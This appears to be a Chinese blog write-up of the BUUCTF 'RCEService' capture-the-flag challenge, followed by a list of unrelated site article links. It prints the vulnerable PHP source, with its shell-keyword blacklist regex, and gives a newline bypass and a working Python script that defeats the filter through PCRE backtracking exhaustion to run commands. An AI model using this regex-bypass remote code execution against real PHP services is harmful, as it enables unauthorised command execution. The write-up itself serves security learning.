PHP正则表达式之RCEService回溯


Posted in PHP onApril 11, 2022

PHP正则表达式之RCEService回溯

打开题目输入JSON类型的cmd后,尝试读取index.php的源代码,但是读取不出来,并且扫后台出来的/index以及/index/login也没有任何东西,实在不知道怎么做了,只能看一下别人的wp,发现别人以来都是审查源码,我就奇怪了,源码怎么弄来的,看了很多wp发现应该是比赛的时候直接给的源码,但是buu平台忘记加上了

<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
    $json = $_REQUEST['cmd'];
    if (!is_string($json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } else {
        echo 'Attempting to run command:<br/>';
        $cmd = json_decode($json, true)['cmd'];
        if ($cmd !== NULL) {
            system($cmd);
        } else {
            echo 'Invalid input';
        }
        echo '<br/><br/>';
    }
}
?>

看到最后的system以及正则,看来这题是要绕过正则执行cmd命令了,这么多黑名单函数应该不会让我们找漏网之鱼吧,不会吧不会吧

我们看到正则表达式没有添加修饰符,那我们可以利用多行匹配这个漏洞了

PHP正则表达式之RCEService回溯

 在这里我们可以利用%0a换行符进行绕过正则匹配,而且可以看到要有修饰符s才会让.*匹配换行符,因此我们这里可以利用我们之前的ls试试能不能成功

PHP正则表达式之RCEService回溯

发现依然可以出来index.php;源代码中编译了环境变量path(我以为只是单纯暗示我们这个目录),我们就在那个目录下看看 

PHP正则表达式之RCEService回溯

发现了flag文件,我用nl,cat,more,less等命令都读取不出来 ,查资料发现,系统命令需要有特定的环境变量的也就是路径,系统找不到该路径下的exe文件怎么执行系统命令

因此这个地方查阅资料后发现只能调用绝对路径下的命令,cat命令就在/bin/目录下面

PHP正则表达式之RCEService回溯

 第二种办法也就是正则表达式回溯过多导致false,说实话我还是第一次听到正则的回溯问题

PHP利用PCRE回溯次数限制绕过某些安全限制

简单来说就是正则表达式匹配的时候某个.*将后面的字符全部匹配到了,导致表达式后面的式子没有地方匹配,因此一个一个字符吐出来,直到后面的式子全部匹配完毕或者回溯次数过多

例子

PHP正则表达式之RCEService回溯

PHP正则表达式之RCEService回溯

 经过自己试试果然只能回溯一百万次

'/^.*

正则表达式最前面的匹配字符,^代表首个字母,'.'代表除换行符之外的所有字符,*代表前面那个表达式重复执行多次,因此他这里直接把我们的payload全部匹配完毕,导致后面的匹配不到字符了,只能一个个回溯

PHP正则表达式之RCEService回溯

再将后面的匹配一下字符,可以发现目前写的小写字母都没有过滤掉,因为十六进制\x00-\x1f换算成十进制并没有到小写字母的ascii值那个地方,因此我们可以任意利用一个小写字母×个一百万次,就可以让正则表达式直接失败

PHP正则表达式之RCEService回溯

import requests
url='http://5dd96313-13f8-4eb6-89eb-0dbb5a4ba30a.node3.buuoj.cn'
data={
    'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","feng":"'+'a'*1000000+'"}'
}
r=requests.post(url=url,data=data).text
print(r)

Tags in this post...

PHP 相关文章推荐
PHP中运用jQuery的Ajax跨域调用实现代码
Feb 21 PHP
php设计模式之命令模式使用示例
Mar 02 PHP
PHP统计nginx访问日志中的搜索引擎抓取404链接页面路径
Jun 30 PHP
php常用hash加密函数
Nov 22 PHP
PHP截取指定图片大小的方法
Dec 10 PHP
PHP实现动态柱状图改进版
Mar 30 PHP
php使用GD库创建图片缩略图的方法
Jun 10 PHP
php多文件打包下载的实例代码
Jul 12 PHP
Thinkphp结合AJAX长轮询实现PC与APP推送详解
Jul 31 PHP
php获取微信共享收货地址的方法
Dec 21 PHP
laravel 输出最后执行sql 附:whereIn的使用方法
Oct 10 PHP
PHP使用openssl扩展实现加解密方法示例
Feb 20 PHP
微信小程序结合ThinkPHP5授权登陆后获取手机号
PHP遍历数组的6种方式总结
Nov 17 #PHP
关于PHP数组迭代器的使用方法实例
php双向队列实例讲解
Nov 17 #PHP
如何解决php-fpm启动不了问题
Nov 17 #PHP
一次项目中Thinkphp绕过禁用函数的实战记录
php修改word的实例方法
Nov 17 #PHP
You might like
使用php get_headers 判断URL是否有效的解决办法
2013/04/27 PHP
利用PHP生成静态html页面的原理
2016/09/30 PHP
PHP实现模拟http请求的方法分析
2017/12/20 PHP
php array_map()函数实例用法
2021/03/03 PHP
jQuery live
2009/05/15 Javascript
jQuery1.6 使用方法一
2011/11/23 Javascript
JQuery中使用ajax传输超大数据的解决方法
2014/07/14 Javascript
jQuery循环动画与获取组件尺寸的方法
2015/02/02 Javascript
JavaScript时间转换处理函数
2015/04/14 Javascript
详解AngularJS中的依赖注入机制
2015/06/17 Javascript
jQuery实现简单隔行变色的方法
2016/02/20 Javascript
layui文件上传实现代码
2017/05/20 Javascript
详解vue.js+UEditor集成 [前后端分离项目]
2017/07/07 Javascript
用Python写飞机大战游戏之pygame入门(4):获取鼠标的位置及运动
2015/11/05 Python
Python画柱状统计图操作示例【基于matplotlib库】
2018/07/04 Python
django+xadmin+djcelery实现后台管理定时任务
2018/08/14 Python
深入浅析Python中list的复制及深拷贝与浅拷贝
2018/09/03 Python
windows下cx_Freeze生成Python可执行程序的详细步骤
2018/10/09 Python
Numpy对数组的操作:创建、变形(升降维等)、计算、取值、复制、分割、合并
2019/08/28 Python
Windows10下Tensorflow2.0 安装及环境配置教程(图文)
2019/11/21 Python
Pycharm 2020最新永久激活码(附最新激活码和插件)
2020/09/17 Python
python怎么调用自己的函数
2020/07/01 Python
python3判断IP地址的方法
2021/03/04 Python
美国生鲜及杂货电商:FreshDirect
2018/01/29 全球购物
美国购买肉、鸭、家禽、鹅肝和熟食网站:D’Artagnan
2018/11/13 全球购物
一道写SQL的面试题和答案
2013/11/19 面试题
Final类有什么特点
2012/04/25 面试题
审计班子对照检查材料
2014/08/27 职场文书
护士长2014年终工作总结
2014/11/11 职场文书
上班迟到检讨书
2015/05/06 职场文书
聘任书范文大全
2015/09/21 职场文书
六年级数学教学反思
2016/02/16 职场文书
创业的9条正确思考方式
2019/08/26 职场文书
django如何自定义manage.py管理命令
2021/04/27 Python
Java用自带的Image IO给图片添加水印
2021/06/15 Java/Android
python实现剪贴板的操作
2021/07/01 Python